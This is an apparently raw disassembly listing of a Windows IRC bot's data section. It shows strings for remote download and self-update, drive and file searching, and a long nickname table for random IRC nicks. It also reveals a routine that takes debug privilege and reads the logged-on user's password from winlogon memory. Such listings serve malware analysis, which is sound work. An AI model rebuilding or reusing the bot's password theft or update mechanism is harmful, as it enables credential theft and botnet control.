; - ; DATA XREF: sub_416D68+191o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_44E8A0 db 2Dh ; - ; DATA XREF: sub_416D68:loc_416F00o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_44E8C8 db 2Dh ; - ; DATA XREF: sub_416D68+1CDo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_44E8F4 db 2Dh ; - ; DATA XREF: sub_416D68+257o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_44E91C db 2Dh ; - ; DATA XREF: sub_416D68+2D6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 aOpen_2 db 'open',0 ; DATA XREF: sub_416D68+32Bo align 4 dword_44E95C dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: sub_416D68+34Do dd 25206465h, 73h unk_44E978 db 2Dh ; - ; DATA XREF: sub_416D68+3B6o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 unk_44E9BC db 2Dh ; - ; DATA XREF: sub_416D68+472o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 10h unk_44E9F0 db 2Dh ; - ; DATA XREF: sub_416D68+480o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 a?_0: ; DATA XREF: sub_4172FC+1Fo unicode 0, <?>,0 off_44EA20 dd offset word_4D4152 ; DATA XREF: sub_4172FC:loc_417321o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4172FC:loc_417327o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4172FC:loc_41732Do aDisk db 'Disk',0 ; DATA XREF: sub_4172FC:loc_417333o align 4 aInvalid db 'Invalid',0 ; DATA XREF: sub_4172FC:loc_417339o aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_4172FC:loc_41733Fo aSkb db '%sKB',0 ; DATA XREF: sub_41738D+70o align 4 aSkb_0 db '%sKB',0 ; DATA XREF: sub_41738D+9Bo align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_41738D+C6o align 4 aFailed db 'failed',0 ; DATA XREF: sub_41738D+E0o align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_41738D+F1o align 4 aFailed_1 db 'failed',0 ; DATA XREF: sub_41738D+102o align 4 aFailed_2 db 'failed',0 ; DATA XREF: sub_4174B1+3Bo align 4 unk_44EA84 db 2Dh ; - ; DATA XREF: sub_4174B1+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 unk_44EAC0 db 2Dh ; - ; DATA XREF: sub_4174B1+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 aA_2 db 'A:\',0 ; DATA XREF: sub_417583:loc_4175C8o unk_44EB00 db 2Dh ; - ; DATA XREF: sub_417606+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dword_44EB28 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_417606+C5o dd 64252064h, 6C696620h, 7365h dword_44EB48 dd 2A5C7325h, 0 ; DATA XREF: sub_41771E+1Ao dword_44EB50 dd 255C7325h, 73h ; DATA XREF: sub_41771E+7Ao dword_44EB58 dd 255C7325h, 73h ; DATA XREF: sub_41771E+CEo dword_44EB60 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_41771E+107o dd 73252064h, 73255Ch, 0 unk_44EB80 db 2Dh ; - ; DATA XREF: sub_41786C+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41786C+40o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_41786C+55o align 10h aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_41786C+68o align 4 aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_41786C+73o align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_41786C+80o aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_41786C+8Do align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_41786C+9Ao align 10h aUsername: ; DATA XREF: sub_41786C+CEo unicode 0, <USERNAME>,0 align 4 aUserdomain: ; DATA XREF: sub_41786C+DCo unicode 0, <USERDOMAIN>,0 align 10h unk_44EC90 db 2Dh ; - ; DATA XREF: sub_41786C+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 unk_44ECEC db 2Dh ; - ; DATA XREF: sub_41786C:loc_4179B1o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_44ED24 db 2Dh ; - ; DATA XREF: sub_41786C:loc_4179B8o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41786C+161o align 4 unk_44ED64 db 2Dh ; - ; DATA XREF: sub_41786C:loc_4179E5o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417A3E+AFo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_417A3E+123o align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417A3E+13Eo align 8 dword_44EDB8 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417E98+70o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_44EE08 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417F2F+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_44EE58 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417F2F+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h, 0 aQwertyuipasdfg: ; DATA XREF: _2:off_44F430o ; _2:0044F434o ... unicode 0, <qwertyuipasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM>,0 aSmartmir db 'SMARTMIR',0 ; DATA XREF: _2:0044F4FCo align 4 aFarooq db 'farooq',0 ; DATA XREF: _2:0044F500o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: _2:0044F504o aBobmarley db 'BOBMARLEY',0 ; DATA XREF: _2:0044F508o align 10h aEmilya db 'emilya',0 ; DATA XREF: _2:0044F50Co align 4 aKrizha db 'KRIZHA',0 ; DATA XREF: _2:0044F510o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: _2:0044F514o aSwin db 'swin',0 ; DATA XREF: _2:0044F518o align 10h aMale db 'male',0 ; DATA XREF: _2:0044F51Co align 4 aKoko db 'koko',0 ; DATA XREF: _2:0044F520o align 10h aFlexster db 'flexster',0 ; DATA XREF: _2:0044F524o align 4 aKen db 'ken',0 ; DATA XREF: _2:0044F528o aShez db 'Shez',0 ; DATA XREF: _2:0044F52Co align 4 aTalika db 'talika',0 ; DATA XREF: _2:0044F530o align 10h aMarcy db 'marcy',0 ; DATA XREF: _2:0044F534o align 4 aCme db 'cme',0 ; DATA XREF: _2:0044F538o aHeval db 'heval',0 ; DATA XREF: _2:0044F53Co align 4 aBunty db 'bunty',0 ; DATA XREF: _2:0044F540o align 4 aJanno db 'janno',0 ; DATA XREF: _2:0044F544o align 4 aRimpy db 'rimpy',0 ; DATA XREF: _2:0044F548o align 4 aNastysha db 'nastysha',0 ; DATA XREF: _2:0044F54Co align 4 aLuisa db 'Luisa',0 ; DATA XREF: _2:0044F550o align 10h aTroller db 'troller',0 ; DATA XREF: _2:0044F554o aManee db 'manee',0 ; DATA XREF: _2:0044F558o align 10h aKermit db 'kermit',0 ; DATA XREF: _2:0044F55Co align 4 aPuregold db 'puregold',0 ; DATA XREF: _2:0044F560o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: _2:0044F564o align 10h aImra db 'imra',0 ; DATA XREF: _2:0044F568o align 4 aGirl db 'GirL',0 ; DATA XREF: _2:0044F56Co align 10h aCamel db 'CAMEL',0 ; DATA XREF: _2:0044F570o align 4 aReshma db 'reshma',0 ; DATA XREF: _2:0044F574o align 10h aKencing db 'Kencing',0 ; DATA XREF: _2:0044F578o aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: _2:0044F57Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: _2:0044F580o align 10h aKaan38dent db 'kaan38dent',0 ; DATA XREF: _2:0044F584o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: _2:0044F588o aHexaaa db 'hexaaa',0 ; DATA XREF: _2:0044F58Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: _2:0044F590o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: _2:0044F594o align 4 aIrmal db 'irmal',0 ; DATA XREF: _2:0044F598o align 4 aMisssunday db 'misssunday',0 ; DATA XREF: _2:0044F59Co align 4 aTolga34 db 'Tolga34',0 ; DATA XREF: _2:0044F5A0o aJericho db 'JERICHO',0 ; DATA XREF: _2:0044F5A4o aMary_0 db 'MARY',0 ; DATA XREF: _2:0044F5A8o align 10h aAkin db 'AKIN',0 ; DATA XREF: _2:0044F5ACo align 4 aMelekk db 'melekk',0 ; DATA XREF: _2:0044F5B0o align 10h aTrend3 db 'trend3',0 ; DATA XREF: _2:0044F5B4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: _2:0044F5B8o align 4 aTekir db 'tekir',0 ; DATA XREF: _2:0044F5BCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: _2:0044F5C0o align 4 aSevmekmi db 'sevmekmi',0 ; DATA XREF: _2:0044F5C4o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: _2:0044F5C8o aArzu db 'ARZU',0 ; DATA XREF: _2:0044F5CCo align 4 aHaticem db 'haticem',0 ; DATA XREF: _2:0044F5D0o aErnesto db 'ERNESTO',0 ; DATA XREF: _2:0044F5D4o aAslii db 'aslii',0 ; DATA XREF: _2:0044F5D8o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: _2:0044F5DCo aSamyeli21 db 'samyeli21',0 ; DATA XREF: _2:0044F5E0o align 10h aRetg db 'RETG',0 ; DATA XREF: _2:0044F5E4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: _2:0044F5E8o align 4 aPelincik db 'pelincik',0 ; DATA XREF: _2:0044F5ECo align 10h aAhmet db 'ahmet',0 ; DATA XREF: _2:0044F5F0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: _2:0044F5F4o align 10h aAnk32m db 'ank32m',0 ; DATA XREF: _2:0044F5F8o align 4 aZack db 'ZACK',0 ; DATA XREF: _2:0044F5FCo align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: _2:0044F600o align 4 aAlbina db 'albina',0 ; DATA XREF: _2:0044F604o align 4 aAyla db 'AYLA-',0 ; DATA XREF: _2:0044F608o align 4 off_44F17C dd offset byte_457441 ; DATA XREF: _2:0044F60Co aAnkh db 'ankh',0 ; DATA XREF: _2:0044F610o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: _2:0044F614o align 4 aBogac db 'bogac',0 ; DATA XREF: _2:0044F618o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: _2:0044F61Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: _2:0044F620o align 4 aDenizlim db 'DenizliM',0 ; DATA XREF: _2:0044F624o align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: _2:0044F628o aDevran db 'devran',0 ; DATA XREF: _2:0044F62Co align 10h aArda db 'arda',0 ; DATA XREF: _2:0044F630o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: _2:0044F634o aMurat34M db 'murat34-m',0 ; DATA XREF: _2:0044F638o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: _2:0044F63Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: _2:0044F640o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: _2:0044F644o align 4 aEmre db 'Emre--',0 ; DATA XREF: _2:0044F648o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: _2:0044F64Co align 10h aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: _2:0044F650o align 4 aKebikec db 'kebikec',0 ; DATA XREF: _2:0044F654o aFlord db 'FLoRD',0 ; DATA XREF: _2:0044F658o align 4 aHoly db 'holy',0 ; DATA XREF: _2:0044F65Co align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: _2:0044F660o aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: _2:0044F664o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: _2:0044F668o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: _2:0044F66Co align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: _2:0044F670o align 4 aSugarboy db 'SUGARBOY-',0 ; DATA XREF: _2:0044F674o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: _2:0044F678o aKumul db 'kumul',0 ; DATA XREF: _2:0044F67Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: _2:0044F680o align 10h aUmut db 'umut-',0 ; DATA XREF: _2:0044F684o align 4 aAnk32M db 'ANK-32-M',0 ; DATA XREF: _2:0044F688o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: _2:0044F68Co aAnkar db 'Ankar',0 ; DATA XREF: _2:0044F690o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: _2:0044F694o align 10h aHayran db 'hayran',0 ; DATA XREF: _2:0044F698o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: _2:0044F69Co align 4 aKapk db 'kapk',0 ; DATA XREF: _2:0044F6A0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: _2:0044F6A4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: _2:0044F6A8o align 10h aKotan db 'kotan',0 ; DATA XREF: _2:0044F6ACo align 4 aSevda db 'sevda',0 ; DATA XREF: _2:0044F6B0o align 10h off_44F310 dd offset byte_4B5245 ; DATA XREF: _2:0044F6B4o aAlcatras db 'alcatras',0 ; DATA XREF: _2:0044F6B8o align 10h aA44m db 'a44m',0 ; DATA XREF: _2:0044F6BCo align 4 aBirsen db 'birsen',0 ; DATA XREF: _2:0044F6C0o align 10h aYabanc db 'yabanc',0 ; DATA XREF: _2:0044F6C4o align 4 aDevre db 'devre',0 ; DATA XREF: _2:0044F6C8o align 10h aErkan db 'erkan',0 ; DATA XREF: _2:0044F6CCo align 4 aAnkm db 'ankM',0 ; DATA XREF: _2:0044F6D0o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: _2:0044F6D4o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: _2:0044F6D8o align 4 aM41ist db 'M41IST',0 ; DATA XREF: _2:0044F6DCo align 4 aAdamm33 db 'AdAMM33',0 ; DATA XREF: _2:0044F6E0o aFirtina db 'firtina',0 ; DATA XREF: _2:0044F6E4o aAta29 db 'Ata29',0 ; DATA XREF: _2:0044F6E8o align 4 aKoray db 'KORAY',0 ; DATA XREF: _2:0044F6ECo align 4 aAkden db 'akden',0 ; DATA XREF: _2:0044F6F0o align 4 aIzmirlm db 'izmirlm',0 ; DATA XREF: _2:0044F6F4o aUla db 'ula',0 ; DATA XREF: _2:0044F6F8o aNeHaber db 'NE-HABER',0 ; DATA XREF: _2:0044F6FCo align 4 aPassenger db 'passenger',0 ; DATA XREF: _2:0044F700o align 4 aTropikal db 'tropikal',0 ; DATA XREF: _2:0044F704o align 4 aCool30m db 'cool30m',0 ; DATA XREF: _2:0044F708o aCem39 db 'cem39',0 ; DATA XREF: _2:0044F70Co align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: _2:0044F710o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: _2:0044F714o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: _2:0044F718o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: _2:0044F71Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: _2:0044F720o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: _2:0044F724o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: _2:0044F728o align 10h aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: _2:0044F72Co align 10h off_44F430 dd offset aQwertyuipasdfg ; DATA XREF: sub_418428+5Cr ; "qwertyuipasdfghjklzxcvbnmQWERTYUIOPASDF"... dd offset aQwertyuipasdfg+2 dd offset aQwertyuipasdfg+4 dd offset aQwertyuipasdfg+6 dd offset aQwertyuipasdfg+8 dd offset aQwertyuipasdfg+0Ah dd offset aQwertyuipasdfg+0Ch dd offset aQwertyuipasdfg+0Eh dd offset aQwertyuipasdfg+10h ; --------------------------------------------------------------------------- retn 44EEh ; --------------------------------------------------------------------------- align 4 dd offset aQwertyuipasdfg+14h dd offset aQwertyuipasdfg+16h ; --------------------------------------------------------------------------- enter 44EEh, 0 retf 44EEh ; --------------------------------------------------------------------------- align 4 dd offset aQwertyuipasdfg+1Ch dd offset aQwertyuipasdfg+1Eh dd offset aQwertyuipasdfg+20h dd offset aQwertyuipasdfg+22h dd offset aQwertyuipasdfg+24h dd offset aQwertyuipasdfg+26h dd offset aQwertyuipasdfg+28h dd offset aQwertyuipasdfg+2Ah dd offset aQwertyuipasdfg+2Ch dd offset aQwertyuipasdfg+2Eh dd offset aQwertyuipasdfg+30h dd offset aQwertyuipasdfg+32h dd offset aQwertyuipasdfg+34h dd offset aQwertyuipasdfg+36h dd offset aQwertyuipasdfg+38h dd offset aQwertyuipasdfg+3Ah dd offset aQwertyuipasdfg+3Ch dd offset aQwertyuipasdfg+3Eh dd offset aQwertyuipasdfg+40h dd offset aQwertyuipasdfg+42h dd offset aQwertyuipasdfg+44h dd offset aQwertyuipasdfg+46h dd offset aQwertyuipasdfg+48h dd offset aQwertyuipasdfg+4Ah dd offset aQwertyuipasdfg+4Ch dd offset aQwertyuipasdfg+4Eh dd offset aQwertyuipasdfg+50h dd offset aQwertyuipasdfg+52h dd offset aQwertyuipasdfg+54h dd offset aQwertyuipasdfg+56h dd offset aQwertyuipasdfg+58h dd offset aQwertyuipasdfg+5Ah dd offset aQwertyuipasdfg+5Ch dd offset aQwertyuipasdfg+5Eh dd offset aQwertyuipasdfg+60h dd offset aQwertyuipasdfg+62h dd offset aQwertyuipasdfg+64h dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_44F17C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_44F310 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" dword_44F730 dd 786573h, 7A656Ch, 78657Ah, 65657274h, 0 ; DATA XREF: _2:off_44F8F0o ; _2:0044F8F4o ... dword_44F744 dd 646162h, 67616Ch, 6D61747Ch, 7C6562h, 686F777Ch, 7Ch ; DATA XREF: _2:0044F900o _2:0044F904o ... dd 6F747C2Dh, 7C74h, 6375737Ch, 7C6Bh, 63756C7Ch, 7C6Bh dd 6275687Bh, 7Dh, 7865737Bh, 7Dh, 6E65677Bh, 7C73h, 756C7C7Ch dd 662D7576h, 7Ch, 6B69777Ch, 7C6465h, 6B636973h, 7D7Dh dd 3851h, 7C38717Ch, 620061h, 640063h, 660065h, 680067h dd 5F0069h, 6B006Ah, 6D006Ch, 6F006Eh, 710070h, 7372h dd 750074h, 770076h, 790078h, 7Ah, 70706168h, 79h, 6772h dd 7974h, 6667h, 7472h, 666473h, 6975h, 7976756Ch, 0 aTrimy db 'trimy',0 ; DATA XREF: _2:0044F9C0o align 4 aTruck db 'truck',0 ; DATA XREF: _2:0044F9C4o align 10h aMuckc db 'muckc',0 ; DATA XREF: _2:0044F9C8o aZ db 'z',0 ; DATA XREF: _2:0044F9CCo aGsq: ; DATA XREF: _2:0044F9D0o _2:0044F9D4o ... unicode 0, <gsq>,0 off_44F830 dd offset loc_425242 ; DATA XREF: _2:0044F9DCo dword_44F834 dd 6C62627Ch, 0 ; DATA XREF: _2:0044F9E0o dword_44F83C dd 5F7C5Fh, 4D0046h, 5556554Ch, 0 ; DATA XREF: _2:0044F9ECo ; _2:0044FA00o ... dword_44F84C dd 646153h, 665E5E5Eh, 62005Eh, 65656C53h, 676E6970h, 0 ; DATA XREF: _2:0044FA0Co _2:0044FA10o ... aFuck_0 db 'Fuck',0 ; DATA XREF: _2:0044FA28o align 4 aFree_0 db 'Free',0 ; DATA XREF: _2:0044FA2Co align 2 asc_44F872 db 'X',0 ; DATA XREF: _2:0044FA38o aBoy db 'BOY',0 ; DATA XREF: _2:0044FA40o aGirl_0 db 'GIRL',0 ; DATA XREF: _2:0044FA44o align 10h aGurl db 'gurl',0 ; DATA XREF: _2:0044FA48o align 4 aShit db 'shit',0 ; DATA XREF: _2:0044FA4Co align 10h aAha db 'aha',0 ; DATA XREF: _2:0044FA50o aYeah db 'yeah',0 ; DATA XREF: _2:0044FA54o align 4 aMuha db 'muha',0 ; DATA XREF: _2:0044FA58o align 4 aMof0 db 'mof0',0 ; DATA XREF: _2:0044FA5Co align 4 aMofo db 'mofo',0 ; DATA XREF: _2:0044FA60o align 4 aTot db 'tot',0 ; DATA XREF: _2:0044FA64o aLol db 'lol',0 ; DATA XREF: _2:0044FA68o aLoloA db 'lolo|a|',0 ; DATA XREF: _2:0044FA6Co aSex4free db '|sex4free|',0 ; DATA XREF: _2:0044FA70o align 10h a4us db '|4us|',0 ; DATA XREF: _2:0044FA74o align 4 a4you db '{4you}',0 ; DATA XREF: _2:0044FA78o align 10h a4u db '|4u|',0 ; DATA XREF: _2:0044FA7Co align 4 a5u db '5u',0 ; DATA XREF: _2:0044FA80o align 4 a6u db '6u',0 ; 